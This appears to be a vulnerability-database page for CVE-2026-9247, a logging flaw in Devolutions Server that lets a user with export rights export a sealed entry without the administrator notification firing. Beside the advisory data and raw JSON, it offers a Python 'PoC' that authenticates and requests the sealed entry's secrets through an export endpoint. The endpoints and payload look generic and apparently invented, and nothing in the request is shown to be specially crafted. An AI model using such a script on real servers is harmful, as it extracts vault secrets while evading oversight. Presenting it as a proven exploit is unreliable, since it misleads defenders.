Security Vulnerability Report
中文
CVE-2026-9247 CVSS 2.4 LOW

CVE-2026-9247

Published: 2026-05-22 16:16:26
Last Modified: 2026-05-22 19:03:22

Description

Insufficient logging in the entry export feature in Devolutions Server allows an authenticated user with export permissions to export a sealed entry without triggering the unseal notification to administrators via a crafted export request. This issue affects : * Devolutions Server 2026.1.6.0 through 2026.1.16.0 * Devolutions Server 2025.3.20.0 and earlier

CVSS Details

CVSS Score
2.4
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:* - VULNERABLE
Devolutions Server 2026.1.6.0 - 2026.1.16.0
Devolutions Server 2025.3.20.0 及更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9247 PoC - Devolutions Server 密封条目导出绕过通知 # 需要认证和导出权限 import requests import json TARGET_URL = "https://target-server/api" USERNAME = "attacker" PASSWORD = "password" SEALED_ENTRY_ID = "target-sealed-entry-id" def authenticate(): """获取认证令牌""" response = requests.post( f"{TARGET_URL}/auth/login", json={"username": USERNAME, "password": PASSWORD} ) return response.json().get('token') def export_sealed_entry(token, entry_id): """导出密封条目(绕过通知机制)""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } payload = { "entry_ids": [entry_id], "export_format": "json", "include_secrets": True } # 关键:构造的导出请求不会触发管理员通知 response = requests.post( f"{TARGET_URL}/entries/export", headers=headers, json=payload ) return response.status_code, response.json() # 执行攻击 token = authenticate() status, result = export_sealed_entry(token, SEALED_ENTRY_ID) print(f"Status: {status}") print(f"Result: {result}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9247", "sourceIdentifier": "[email protected]", "published": "2026-05-22T16:16:25.760", "lastModified": "2026-05-22T19:03:21.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient logging in the entry export feature in Devolutions Server allows an authenticated user with export permissions to export a sealed entry without triggering the unseal notification to administrators via a crafted export request.\n\nThis issue affects :\n\n * Devolutions Server 2026.1.6.0 through 2026.1.16.0\n * Devolutions Server 2025.3.20.0 and earlier"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N", "baseScore": 2.4, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-778"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.3.22.0", "matchCriteriaId": "6E689234-ABCB-49B5-AD17-00C2E2FC3B11"}, {"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.6.0", "versionEndExcluding": "2026.1.19.0", "matchCriteriaId": "02811CA7-5B80-47D7-B826-18B3CB1213E9"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0013/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}